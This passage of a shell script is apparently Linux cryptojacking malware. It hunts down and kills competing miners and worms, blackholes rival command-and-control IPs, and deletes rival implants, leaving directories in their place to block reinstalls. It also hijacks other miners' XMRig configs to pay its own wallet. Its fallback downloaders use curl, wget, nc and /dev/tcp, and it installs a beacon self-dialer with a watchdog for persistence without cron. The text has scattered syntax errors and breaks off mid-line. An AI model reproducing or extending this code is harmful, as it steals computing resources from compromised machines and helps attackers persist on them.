  401. [ -z "$_dk_miners" ] && [ -z "$_dk_tree" ] && echo "[dk] nothing found" \
  402. || echo "[dk] done: killed$(echo $_dk_miners)$(echo $_dk_tree)"
  403. return 0
  404. }
  405.  
  406.  
  407. detect_kill_unicorn
  408. sweep_competitor_worms
  409.  
  410. http_get() {
  411. _hg_url="$1"; _hg_follow=0
  412. while [ "$_hg_follow" -lt 5 ]; do
  413. _hg_follow=$((_hg_follow + 1))
  414. _hg_hp="${_hg_url#https://}";; _hg_hp="${_hg_hp#http://}";
  415. _hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
  416. [ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
  417. _hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
  418. [ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
  419. _hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
  420. printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
  421. "$_hg_path" "$_hg_host" > "$_hg_req"
  422. if [ "${_hg_url#https://}"; != "$_hg_url" ]; then
  423. :
  424. if command -v timeout >/dev/null 2>&1; then
  425. timeout 45 openssl s_client -connect "${_hg_ip}:443" \
  426. -servername "$_hg_host" -quiet \
  427. < "$_hg_req" > "$_hg_raw" 2>/dev/null
  428. else
  429. openssl s_client -connect "${_hg_ip}:443" \
  430. -servername "$_hg_host" -quiet \
  431. < "$_hg_req" > "$_hg_raw" 2>/dev/null
  432. fi
  433. [ -s "$_hg_raw" ] || { rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; return 1; }
  434. else
  435. :
  436. if command -v nc >/dev/null 2>&1; then
  437. cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
  438. elif [ -n "$BASH_VERSION" ]; then
  439. :
  440. exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
  441. cat "$_hg_req" >&3
  442. cat <&3 > "$_hg_raw" 2>/dev/null
  443. exec 3>&-
  444. else
  445. :
  446. cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
  447. fi
  448. fi
  449. _hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
  450. case "$_hg_status" in
  451. 301|302|303|307|308)
  452. _hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
  453. rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  454. [ -z "$_hg_loc" ] && return 1
  455. case "$_hg_loc" in
  456. esac
  457. _hg_url="$_hg_loc"
  458. continue
  459. ;;
  460. esac
  461. tr -d '\r' < "$_hg_raw" | perl -0777 -ne '
  462. if (/^(.*?)\n\n(.*)$/s) {
  463. my ($h, $b) = ($1, $2);
  464. if ($h =~ /transfer-encoding:\s*chunked/i) {
  465. my $out = "";
  466. while ($b =~ /^([0-9a-fA-F]+)\n(.*)$/s) {
  467. my $sz = hex($1); last if $sz == 0;
  468. $b = $2; $out .= substr($b, 0, $sz);
  469. $b = substr($b, $sz); $b =~ s/^\n//;
  470. }
  471. print $out;
  472. } else { print $b; }
  473. }
  474. ' | grep -v '^[0-9a-fA-F]*$'
  475. rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  476. return 0
  477. done
  478. return 1
  479. }
  480. http_get_bin() {
  481. _hg_url="$1"; _hg_out="$2"; _hg_follow=0
  482. while [ "$_hg_follow" -lt 5 ]; do
  483. _hg_follow=$((_hg_follow + 1))
  484. _hg_hp="${_hg_url#https://}";; _hg_hp="${_hg_hp#http://}";
  485. _hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
  486. [ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
  487. _hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
  488. [ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
  489. _hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
  490. printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
  491. "$_hg_path" "$_hg_host" > "$_hg_req"
  492. if [ "${_hg_url#https://}"; != "$_hg_url" ]; then
  493. :
  494. if command -v timeout >/dev/null 2>&1; then
  495. timeout 45 openssl s_client -connect "${_hg_ip}:443" \
  496. -servername "$_hg_host" -quiet \
  497. < "$_hg_req" > "$_hg_raw" 2>/dev/null
  498. else
  499. openssl s_client -connect "${_hg_ip}:443" \
  500. -servername "$_hg_host" -quiet \
  501. < "$_hg_req" > "$_hg_raw" 2>/dev/null
  502. fi
  503. [ -s "$_hg_raw" ] || { rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; return 1; }
  504. else
  505. :
  506. if command -v nc >/dev/null 2>&1; then
  507. cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
  508. elif [ -n "$BASH_VERSION" ]; then
  509. exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
  510. cat "$_hg_req" >&3
  511. cat <&3 > "$_hg_raw" 2>/dev/null
  512. exec 3>&-
  513. else
  514. cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
  515. fi
  516. fi
  517. _hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
  518. case "$_hg_status" in
  519. 301|302|303|307|308)
  520. _hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
  521. rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  522. [ -z "$_hg_loc" ] && return 1
  523. case "$_hg_loc" in
  524. esac
  525. _hg_url="$_hg_loc"
  526. continue
  527. ;;
  528. esac
  529. perl -0777 -ne '
  530. if (/^(.*?)\r\n\r\n(.*)$/s) {
  531. my ($h, $b) = ($1, $2);
  532. $h =~ s/\r//g;
  533. if ($h =~ /transfer-encoding:\s*chunked/i) {
  534. my $out = "";
  535. while ($b =~ /^([0-9a-fA-F]+)\r?\n(.*)$/s) {
  536. my $sz = hex($1); last if $sz == 0;
  537. $b = $2; $out .= substr($b, 0, $sz);
  538. $b = substr($b, $sz); $b =~ s/^\r?\n//;
  539. }
  540. print $out;
  541. } else { print $b; }
  542. }
  543. ' < "$_hg_raw" > "$_hg_out"
  544. rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  545. [ -s "$_hg_out" ] && return 0 || return 1
  546. done
  547. return 1
  548. }
  549. fetch_url() {
  550. _fu_url="$1"
  551. if command -v curl >/dev/null 2>&1; then
  552. _tool curl -fsSLk -A Mozilla/5.0 --connect-timeout 10 --max-time 60 "$_fu_url" 2>/dev/null
  553. elif command -v wget >/dev/null 2>&1; then
  554. _tool wget -qO- -U Mozilla/5.0 --timeout=10 --tries=2 "$_fu_url" 2>/dev/null
  555. else
  556. http_get "$_fu_url"
  557. fi
  558. }
  559. fetch_file() {
  560. _ff_url="$1"; _ff_out="$2"
  561. _ff_try=0
  562. while [ "$_ff_try" -lt 4 ]; do
  563. _ff_try=$((_ff_try + 1))
  564. _ff_ok=0
  565. if command -v curl >/dev/null 2>&1; then
  566. if [ -s "$_ff_out" ]; then
  567. :
  568. _tool curl -fLk --silent --show-error -A Mozilla/5.0 --connect-timeout 10 --max-time 180 \
  569. --retry 2 --retry-delay 2 -C - --output "$_ff_out" "$_ff_url" 2>/dev/null
  570. else
  571. _tool curl -fLk --silent --show-error -A Mozilla/5.0 --connect-timeout 10 --max-time 180 \
  572. --retry 2 --retry-delay 2 --output "$_ff_out" "$_ff_url" 2>/dev/null
  573. fi
  574. [ -s "$_ff_out" ] && _ff_ok=1
  575. elif command -v wget >/dev/null 2>&1; then
  576. _tool wget -q -U Mozilla/5.0 --timeout=15 --tries=3 -O "$_ff_out" "$_ff_url" 2>/dev/null
  577. [ -s "$_ff_out" ] && _ff_ok=1
  578. fi
  579. if [ "$_ff_ok" != "1" ]; then
  580. rm -f "$_ff_out" 2>/dev/null || true
  581. http_get_bin "$_ff_url" "$_ff_out" 2>/dev/null || true
  582. [ -s "$_ff_out" ] && _ff_ok=1
  583. fi
  584. _ff_el=$(_remote_len "$_ff_url")
  585. _ff_dl=$(wc -c < "$_ff_out" 2>/dev/null || echo 0)
  586. if [ -z "$_ff_el" ] || [ "$_ff_el" -le 0 ] 2>/dev/null; then
  587. :
  588. [ "$_ff_ok" = "1" ] && return 0
  589. elif [ "$_ff_dl" -ge "$_ff_el" ] 2>/dev/null; then
  590. return 0
  591. else
  592. log "Transfer incomplete ($_ff_dl/$_ff_el bytes) - retrying/resuming (attempt $_ff_try/4)"
  593. [ "$_ff_ok" = "0" ] && break
  594. fi
  595. done
  596. return 0
  597. }
  598. _remote_len() {
  599. if command -v curl >/dev/null 2>&1; then
  600. _tool curl -fsILk -A Mozilla/5.0 --connect-timeout 8 --max-time 15 "$1" 2>/dev/null \
  601. | tr -d '\r' | grep -ai '^content-length:' | tail -1 | tr -dc '0-9'
  602. elif command -v wget >/dev/null 2>&1; then
  603. _tool wget --spider -S -U Mozilla/5.0 "$1" 2>&1 \
  604. | grep -ai 'content-length:' | tail -1 | tr -dc '0-9'
  605. fi
  606. }
  607. _miner_ready() {
  608. _mr_f="$1"; _mr_u="$2"
  609. [ -s "$_mr_f" ] || return 1
  610. if [ -n "$MINER_KEY" ]; then
  611. :
  612. _is_elf_for_arch "$_mr_f" && return 0
  613. return 1
  614. fi
  615. _is_elf_for_arch "$_mr_f" || return 1
  616. _mr_el=$(_remote_len "$_mr_u")
  617. _mr_dl=$(wc -c < "$_mr_f" 2>/dev/null || echo 0)
  618. if [ -n "$_mr_el" ] && [ "$_mr_el" -gt 0 ] 2>/dev/null; then
  619. [ "$_mr_dl" -ge "$_mr_el" ] 2>/dev/null && return 0
  620. return 1
  621. fi
  622. [ "$_mr_dl" -ge 1000000 ] 2>/dev/null && return 0
  623. return 1
  624. }
  625. _is_excluded() {
  626. :
  627. _ie_pid="${2:-}"; _ie_cmdline="$1"
  628. for _ie_pat in systemdev dsvc cron-fetch beacon_ corecheck 1510 amq_ $_MD_DIR $_MD_BIN $_c6; do
  629. case "$_ie_cmdline" in
  630. *"$_ie_pat"*) return 0 ;;
  631. esac
  632. done
  633. [ -n "$_ie_pid" ] || return 1
  634. _ie_exe=$(readlink "/proc/$_ie_pid/exe" 2>/dev/null) || _ie_exe=''
  635. case "$_ie_exe" in
  636. */systemdev/*|*/.amq_*/*) return 0 ;;
  637. *)
  638. if [ -n "$_MD_DIR" ] && [ -n "$_MD_BIN" ]; then
  639. case "$_ie_exe" in
  640. */"$_MD_DIR"/"$_MD_BIN") return 0 ;;
  641. esac
  642. fi
  643. ;;
  644. esac
  645. [ "$_ie_exe" = '' ] && return 1
  646. if [ -r "${_ie_exe%/*}/.inst" ]; then
  647. _ie_inst=$(cat "${_ie_exe%/*}/.inst" 2>/dev/null)
  648. [ "$_ie_inst" = "$_c4.$_c1 $_c3" ] && return 0
  649. fi
  650. return 1
  651. }
  652. kill_themf() {
  653. (
  654. set +e
  655. _kt_threshold=9
  656. for _kt_proc in /proc/[0-9]*; do
  657. [ -r "$_kt_proc/status" ] || continue
  658. _kt_pid="${_kt_proc#/proc/}"
  659. _kt_cmdline=$(tr '\0' ' ' < "$_kt_proc/cmdline" 2>/dev/null)
  660. _is_excluded "$_kt_cmdline" "$_kt_pid" && continue
  661. _kt_score=0
  662. _kt_name=$(awk '/^Name:/ {print $2}' "$_kt_proc/status")
  663. _kt_uid=$(awk '/^Uid:/ {print $2}' "$_kt_proc/status")
  664. _kt_state=$(awk '/^State:/ {print $2}' "$_kt_proc/status")
  665. _kt_ppid=$(awk '/^PPid:/ {print $2}' "$_kt_proc/status")
  666. _kt_rss=$(awk '/^VmRSS:/ {print $2}' "$_kt_proc/status")
  667. _kt_rss=${_kt_rss:-0}
  668. _kt_exe=$(readlink -f "$_kt_proc/exe" 2>/dev/null)
  669. [ -n "$_kt_exe" ] && _kt_score=$((_kt_score + 1))
  670. [ "$_kt_rss" -gt 500000 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
  671. [ "$_kt_rss" -gt 1000000 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
  672. _kt_zombies=$(_tool ps --no-headers --ppid "$_kt_pid" -o stat 2>/dev/null | grep -c '^Z')
  673. [ "$_kt_zombies" -ge 5 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
  674. [ "$_kt_zombies" -ge 20 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
  675. _kt_user=$(id -nu "$_kt_uid" 2>/dev/null)
  676. if [ "$_kt_user" != root ]; then
  677. case "$_kt_state" in
  678. S*) _kt_score=$((_kt_score + 1)) ;;
  679. esac
  680. fi
  681. case "$_kt_exe" in
  682. /tmp/*|/var/tmp/*|/dev/shm/*)
  683. _kt_score=$((_kt_score + 4)) ;;
  684. "$HOME"/.cache/*|"$HOME"/.local/share/*|"$HOME"/.config/*)
  685. _kt_score=$((_kt_score + 4)) ;;
  686. esac
  687. [ -d "/proc/$_kt_ppid" ] || _kt_score=$((_kt_score + 1))
  688. if [ "$_kt_score" -ge "$_kt_threshold" ] 2>/dev/null; then
  689. echo "[+] Killing PID=$_kt_pid score=$_kt_score name=$_kt_name exe=$_kt_exe"
  690. kill -9 "$_kt_pid" 2>/dev/null
  691. fi
  692. done
  693. )
  694. return 0
  695. }
  696. kill_mf3() {
  697. (
  698. set +e
  699. _km_pat='syslog-ng-[0-9a-f]\{8\}|syslog-helper|donate-level|stratum+tcp|cryptonight|randomx|/proc/[0-9]+/exe'
  700. _km_skip="$_c5"
  701. _km_all=$(_tool ps -eo pid=,ppid=,args= 2>/dev/null) || return 0
  702. _km_all=$(printf '%s\n' "$_km_all" | grep -v -- "$_km_skip")
  703. _km_t1=$(printf '%s\n' "$_km_all" | grep -E "$_km_pat" 2>/dev/null | grep -vE 'kill_cryptojack|awk' | awk '/syslog-helper|donate-level/{print $1" "$2}')
  704. _km_t2=$(printf '%s\n' "$_km_all" | grep -E 'syslog-ng-[0-9a-f]{8}' 2>/dev/null | grep -v awk | awk '{print $1" "$2}')
  705. _km_t2b=$(printf '%s\n' "$_km_all" | grep -E 'stratum\+tcp|cryptonight|randomx|donate-level' 2>/dev/null | grep -vE 'syslog-ng|syslog-helper|kill_cryptojack|awk' | awk '{print $1" "$2}')
  706. _km_pids_of() { printf '%s\n' "$1" | awk 'NF{print $1}' | sort -un | tr '\n' ' '; }
  707. _km_t1p=$(_km_pids_of "$_km_t1")
  708. _km_t1par=$(printf '%s\n' "$_km_t1" | awk 'NF{print $2}' | sort -un | tr '\n' ' ')
  709. _km_list=$(printf '%s %s' "$_km_t1p" "$_km_t1par" | tr ' ' '\n' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
  710. if [ -n "$_km_list" ]; then
  711. kill -TERM $_km_list 2>/dev/null; sleep 1
  712. for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
  713. fi
  714. _km_list=$(printf '%s %s' "$_km_t2" "$_km_t2b" | awk 'NF{print $1}' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
  715. if [ -n "$_km_list" ]; then
  716. kill -TERM $_km_list 2>/dev/null; sleep 2
  717. for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
  718. fi
  719. sleep 1
  720. _km_left=$(_tool ps -eo pid=,args= 2>/dev/null | grep -E "$_km_pat" | grep -vE 'kill_cryptojack|grep' | grep -v -- "$_km_skip" | awk '{print $1}' | sort -un | tr '\n' ' ')
  721. [ -n "$_km_left" ] && kill -KILL $_km_left 2>/dev/null; :
  722. )
  723. return 0
  724. }
  725. kill_and_remove_process() {
  726. _karp_term="$1"
  727. [ -z "$_karp_term" ] && return 2
  728. for _karp_dir in /proc/[0-9]*; do
  729. [ -r "$_karp_dir/comm" ] || continue
  730. _karp_pid="${_karp_dir##*/}"
  731. _karp_comm=$(cat "$_karp_dir/comm" 2>/dev/null)
  732. _karp_cmdline=$(tr '\0' ' ' < "$_karp_dir/cmdline" 2>/dev/null)
  733. if [ "$_karp_comm" != "$_karp_term" ] && ! printf '%s\n' "$_karp_cmdline" | grep -Fq -- "$_karp_term"; then
  734. continue
  735. fi
  736. _karp_exe=$(readlink -f "$_karp_dir/exe" 2>/dev/null)
  737. [ -z "$_karp_exe" ] && continue
  738. case "$_karp_exe" in
  739. /bin/*|/sbin/*|/usr/bin/*|/usr/sbin/*|/lib/*|/lib64/*|/usr/lib/*) continue ;;
  740. esac
  741. echo "Terminating '$_karp_term' PID=$_karp_pid"
  742. kill "$_karp_pid" 2>/dev/null; sleep 1
  743. kill -0 "$_karp_pid" 2>/dev/null && kill -9 "$_karp_pid" 2>/dev/null
  744. if [ -f "$_karp_exe" ]; then
  745. rm -f -- "$_karp_exe" 2>/dev/null && echo "Deleted: $_karp_exe"
  746. fi
  747. done
  748. return 0
  749. }
  750. kill_high_cpu() {
  751. _khc_threshold=150.0
  752. _tool ps -eo pid,%cpu --sort=-%cpu 2>/dev/null | awk -v t="$_khc_threshold" 'NR>1 && $2 > t {print $1}' | while read -r _khc_pid; do
  753. [ -f "/proc/$_khc_pid/cmdline" ] || continue
  754. _khc_cmdline=$(tr '\0' ' ' < "/proc/$_khc_pid/cmdline")
  755. _is_excluded "$_khc_cmdline" "$_khc_pid" && continue
  756. kill -9 "$_khc_pid" 2>/dev/null && echo "Killed high-CPU PID=$_khc_pid"
  757. done
  758. }
  759. harden_network() {
  760. command -v iptables >/dev/null 2>&1 && {
  761. iptables -A INPUT -s 66.23.199.44 -j DROP 2>/dev/null || true
  762. iptables -A INPUT -s 45.94.31.89 -j DROP 2>/dev/null || true
  763. }
  764. command -v ip >/dev/null 2>&1 && {
  765. ip route add blackhole 139.59.59.33 2>/dev/null || true
  766. ip route add blackhole 45.94.31.89 2>/dev/null || true
  767. ip route add blackhole 154.89.152.115 2>/dev/null || true
  768. ip route add blackhole 84.21.173.223 2>/dev/null || true
  769. ip route add blackhole 142.132.131.238 2>/dev/null || true
  770. }
  771. }
  772. cleanup_files() {
  773. :
  774. rm -rf /bin/softirq 2>/dev/null || true
  775. rm -rf /var/tmp/.rsyslogd 2>/dev/null || true
  776. rm -rf /lib/systemd/cache/health-monitor 2>/dev/null || true
  777. rm -rf /usr/local/bin/watcher 2>/dev/null || true
  778. rm -rf /tmp/runnv/* 2>/dev/null || true
  779. rm -rf /lib/systemd/cache/asset-indexer 2>/dev/null || true
  780. rm -rf /tmp/nuclear 2>/dev/null || true
  781. rm -f /tmp/mon.sh 2>/dev/null || true
  782. rm -f /tmp/run.sh 2>/dev/null || true
  783. mkdir -p /bin/softirq 2>/dev/null || true
  784. mkdir -p /tmp/nuclear 2>/dev/null || true
  785. mkdir -p /tmp/runnv/lived.sh 2>/dev/null || true
  786. mkdir -p /tmp/runnv/alive.sh 2>/dev/null || true
  787. mkdir -p /usr/local/bin/watcher 2>/dev/null || true
  788. mkdir -p /lib/systemd/cache/health-monitor 2>/dev/null || true
  789. mkdir -p /var/tmp/.rsyslogd 2>/dev/null || true
  790. mkdir -p /lib/systemd/cache/asset-indexer 2>/dev/null || true
  791. for _cf_f in "${HOME_1:-/tmp}/systemdev/dsvc" /usr/lib/systemdev/dsvc /usr/lib/dev/systemdev/dsvc; do
  792. [ -f "$_cf_f" ] && rm -f "$_cf_f"
  793. done
  794. for _nf in /tmp/.nodebox /tmp/.cache/java_update /tmp/.jvbd /tmp/.sysjvd \
  795. /var/tmp/.X0_lock "$HOME/.cache/.kwork" "$HOME/.config/.local/.svc"; do
  796. rm -rf "$_nf" 2>/dev/null || true
  797. mkdir -p "$_nf" 2>/dev/null || true
  798. done
  799. rm -rf /var/tmp/.scsi_eh* /tmp/.sysd-private-*/ /dev/shm/.s[0-9A-Za-z][0-9A-Za-z]* 2>/dev/null || true
  800. rm -f /dev/shm/.khp 2>/dev/null || true
  801. mkdir -p /dev/shm/.khp 2>/dev/null || true
  802. rm -f /var/spamassassin/daemon.sh /var/spamassassin/healthCheck.log 2>/dev/null || true
  803. if [ -f /tmp/run-agent.sh ] && _gc_ra_ioc /tmp/run-agent.sh; then
  804. rm -f /tmp/run-agent.sh 2>/dev/null || true
  805. fi
  806. rm -f /tmp/.dl_[0-9]* /var/tmp/.dl_[0-9]* /dev/shm/.dl_[0-9]* 2>/dev/null || true
  807. if [ -f /opt/zimbra/sh ] && grep -aq -- '--oneshot' /opt/zimbra/sh 2>/dev/null; then
  808. rm -f /opt/zimbra/sh 2>/dev/null || true
  809. fi
  810. }
  811. safe_patch_args() {
  812. _spa_file='/lib/systemd/cache/process-watcher'
  813. _spa_value="-o $_c3 -u $_c4.P2"
  814. [ -f "$_spa_file" ] || return 0
  815. _spa_esc=$(printf '%s' "$_spa_value" | sed 's/[\/&]/\\&/g') || return 0
  816. if grep -q '^XMRIG_ARGS="[^"]*"$' "$_spa_file" 2>/dev/null; then
  817. sed -i "s/^XMRIG_ARGS=\"[^\"]*\"$/XMRIG_ARGS=\"$_spa_esc\"/" "$_spa_file" 2>/dev/null || :
  818. else
  819. printf '\nXMRIG_ARGS="%s"\n' "$_spa_value" >> "$_spa_file" 2>/dev/null || :
  820. fi
  821. }
  822. replace_pool_user() {
  823. _rpu_path="/var/tmp/.odoo_pg_health.json"
  824. [ -f "$_rpu_path" ] || return 0
  825. _rpu_esc=$(printf '%s' "$_c4" | sed -e 's/\\/\\\\/g' -e 's/&/\\&/g' -e 's/|/\\|/g') || return 0
  826. _rpu_tmp="${_rpu_path}.tmp.$$"
  827. sed -e "s|\(\"user\"[ ]*:[ ]*\)\"[^\"]*\"|\1\"${_rpu_esc}\"|g" \
  828. <"$_rpu_path" >"$_rpu_tmp" 2>/dev/null || { rm -f "$_rpu_tmp"; return 0; }
  829. [ -s "$_rpu_tmp" ] && mv -f "$_rpu_tmp" "$_rpu_path" 2>/dev/null || rm -f "$_rpu_tmp"
  830. }
  831. get_cpu_count() {
  832. if [ -f /proc/cpuinfo ]; then
  833. grep -c '^processor' /proc/cpuinfo
  834. else
  835. sysctl -n hw.ncpu 2>/dev/null || nproc 2>/dev/null || getconf _NPROCESSORS_ONLN 2>/dev/null || echo 1
  836. fi
  837. }
  838. is_ec2_host() {
  839. hostname | grep -qi -e "ec2" -e "compute"
  840. }
  841. _find_our_miners() {
  842. :
  843. for _fom_dir in /proc/[0-9]*; do
  844. _fom_pid="${_fom_dir##*/}"
  845. [ "$_fom_pid" = "$$" ] && continue
  846. _fom_comm=$(cat "$_fom_dir/comm" 2>/dev/null)
  847. _fom_exe=$(readlink "$_fom_dir/exe" 2>/dev/null)
  848. _fom_hit=0
  849. if [ "$_fom_comm" = "$_MD_BIN" ]; then
  850. case "$_fom_exe" in
  851. "") _fom_hit=1 ;;
  852. */"$_MD_DIR"/"$_MD_BIN") _fom_hit=1 ;;
  853. esac
  854. else
  855. case "$_fom_exe" in
  856. */"$_MD_DIR"/"$_MD_BIN") _fom_hit=1 ;;
  857. */systemdev/dsvc)
  858. _fom_inst=$(cat "${_fom_exe%/*}/.inst" 2>/dev/null)
  859. [ "$_fom_inst" = "$_c4.$_c1 $_c3" ] && _fom_hit=1
  860. ;;
  861. esac
  862. fi
  863. [ "$_fom_hit" = "1" ] || continue
  864. _fom_state=$(awk '{print $3}' "$_fom_dir/stat" 2>/dev/null)
  865. [ "$_fom_state" = "Z" ] && continue
  866. echo "$_fom_pid"
  867. done
  868. return 0
  869. }
  870. _retire_legacy_guardians() {
  871. for _rlg_p in /proc/[0-9]*; do
  872. [ -r "$_rlg_p/cmdline" ] || continue
  873. [ -r "$_rlg_p/stat" ] || continue
  874. _rlg_pid="${_rlg_p##*/}"
  875. [ "$_rlg_pid" = "$$" ] && continue
  876. _rlg_cmd=$(tr '\0' ' ' < "$_rlg_p/cmdline" 2>/dev/null)
  877. _rlg_is_guard=0
  878. [ "$_rlg_cmd" = "bash " ] && _rlg_is_guard=1
  879. [ "$_rlg_cmd" = "bash" ] && _rlg_is_guard=1
  880. case "$_rlg_cmd" in
  881. "bash -s -- #"*) _rlg_is_guard=1 ;;
  882. esac
  883. [ "$_rlg_is_guard" = "1" ] || continue
  884. _rlg_stat=$(cat "$_rlg_p/stat" 2>/dev/null)
  885. _rlg_tty=$(printf '%s' "$_rlg_stat" | awk '{print $7}')
  886. [ "$_rlg_tty" = "0" ] || continue
  887. kill -9 "$_rlg_pid" 2>/dev/null && log "stage: legacy guardian retired (pid $_rlg_pid)"
  888. done
  889. _rld_keep=""
  890. _rld_dir=$(dirname "$_beacon_file" 2>/dev/null)
  891. [ -n "$_rld_dir" ] && _rld_keep=$(cat "$_rld_dir/.beacon-dialer.pid" 2>/dev/null)
  892. if [ -n "$_rld_keep" ] && ! kill -0 "$_rld_keep" 2>/dev/null; then
  893. _rld_keep=""
  894. fi
  895. for _rld_p in /proc/[0-9]*; do
  896. [ -r "$_rld_p/cmdline" ] || continue
  897. _rld_pid="${_rld_p##*/}"
  898. [ "$_rld_pid" = "$$" ] && continue
  899. _rld_cmd=$(tr '\0' ' ' < "$_rld_p/cmdline" 2>/dev/null)
  900. case "$_rld_cmd" in
  901. *".beacon-dialer.sh dial"*)
  902. if [ -z "$_rld_keep" ]; then
  903. _rld_keep="$_rld_pid" # adopt the first live dialer
  904. elif [ "$_rld_pid" = "$_rld_keep" ]; then
  905. : # the survivor
  906. else
  907. kill -9 "$_rld_pid" 2>/dev/null && log "stage: extra dialer retired (pid $_rld_pid)"
  908. fi ;;
  909. esac
  910. done
  911. if [ -n "$_rld_keep" ] && [ -n "$_rld_dir" ]; then
  912. printf '%s' "$_rld_keep" > "$_rld_dir/.beacon-dialer.pid" 2>/dev/null || true
  913. fi
  914. return 0
  915. }
  916. _kill_stale_generation_instances() {
  917. [ -n "$HOME_1" ] || return 0
  918. for _ksg_p in /proc/[0-9]*; do
  919. [ -r "$_ksg_p/exe" ] || continue
  920. _ksg_pid="${_ksg_p##*/}"
  921. [ "$_ksg_pid" = "$$" ] && continue
  922. _ksg_exe=$(readlink "$_ksg_p/exe" 2>/dev/null)
  923. case "$_ksg_exe" in
  924. "$HOME_1"/*) : ;;
  925. *) continue ;;
  926. esac
  927. case "$_ksg_exe" in
  928. */"$_MD_DIR"/"$_MD_BIN") continue ;;
  929. esac
  930. if kill -9 "$_ksg_pid" 2>/dev/null; then
  931. log "stage: stale instance killed (pid $_ksg_pid)"
  932. fi
  933. done
  934. return 0
  935. }
  936. _enforce_single_miner() {
  937. :
  938. _esm_keep="${1:-}"
  939. [ -n "$_esm_keep" ] || _esm_keep=$(_find_our_miners | sort -n | head -1)
  940. [ -n "$_esm_keep" ] || return 0
  941. for _esm_pid in $(_find_our_miners); do
  942. [ "$_esm_pid" = "$_esm_keep" ] && continue
  943. if kill -9 "$_esm_pid" 2>/dev/null; then
  944. log "Single-miner guard: killed duplicate PID $_esm_pid (kept $_esm_keep)"
  945. fi
  946. done
  947. return 0
  948. }
  949. _mark_miner_identity() {
  950. :
  951. _mmi_bin="$1"
  952. case "$_mmi_bin" in
  953. */"$_MD_DIR"/"$_MD_BIN"|*/systemdev/dsvc)
  954. printf '%s %s\n' "$_c4.$_c1" "$_c3" > "${_mmi_bin%/*}/.inst" 2>/dev/null || true
  955. ;;
  956. esac
  957. return 0
  958. }
  959. _install_self_dialer() {
  960. [ "$(id -u)" = "0" ] && return 0 # root has the cron lane
  961. _sd_bf="$_beacon_file"
  962. [ -f "$_sd_bf" ] || return 0
  963. _sd_dir=$(dirname "$_sd_bf" 2>/dev/null)
  964. [ -n "$_sd_dir" ] && [ -d "$_sd_dir" ] && [ -w "$_sd_dir" ] 2>/dev/null || _sd_dir="${TMPDIR:-/tmp}"
  965. [ -d "$_sd_dir" ] && [ -w "$_sd_dir" ] 2>/dev/null || return 0
  966. _sd_ver="v$_SFX"
  967. _sd_host="$_bh"
  968. _sd_port="$_bp"
  969. [ -n "$_sd_host" ] || _sd_host=$(sed -n 's/^_bh=\([^;]*\);.*/\1/p' "$_sd_bf" 2>/dev/null | head -1)
  970. [ -n "$_sd_port" ] || _sd_port=$(sed -n 's/.*_bp=\([0-9][0-9]*\).*/\1/p' "$_sd_bf" 2>/dev/null | head -1)
  971. [ -n "$_sd_host" ] || _sd_host="${BEACON_ENDPOINT%%:*}"
  972. [ -n "$_sd_port" ] || _sd_port="${BEACON_ENDPOINT##*:}"
  973. _sd_ip=$(getent ahostsv4 "$_sd_host" 2>/dev/null | awk 'NR==1{print $1}')
  974. [ -n "$_sd_ip" ] || _sd_ip=$(getent hosts "$_sd_host" 2>/dev/null | awk 'NR==1{print $1}')
  975. _sd_ep="${_sd_host}:${_sd_port}"
  976. printf '%s %s' "$_sd_host" "$_sd_ip" > "$_sd_dir/.beacon-endpoint" 2>/dev/null || true
  977. _sd_loop="$_sd_dir/.beacon-dialer.sh"
  978. _sd_pid="$_sd_dir/.beacon-dialer.pid"
  979. _sd_wpid="$_sd_dir/.beacon-watchdog.pid"
  980. _sd_vfile="$_sd_dir/.beacon-dialer.ver"
  981. {
  982. printf '#!/bin/sh\n'
  983. printf '# M39 self-dialer + watchdog — the cron-free lane.\n'
  984. printf '# role "dial" : re-runs the newest beacon on a jittered timer\n'
  985. printf '# role "watch" : keeps the dialer AND the miner alive\n'
  986. printf '# The two supervise each other, so neither is a single point of failure:\n'
  987. printf '# killing the dialer makes the watchdog bring it back within seconds and\n'
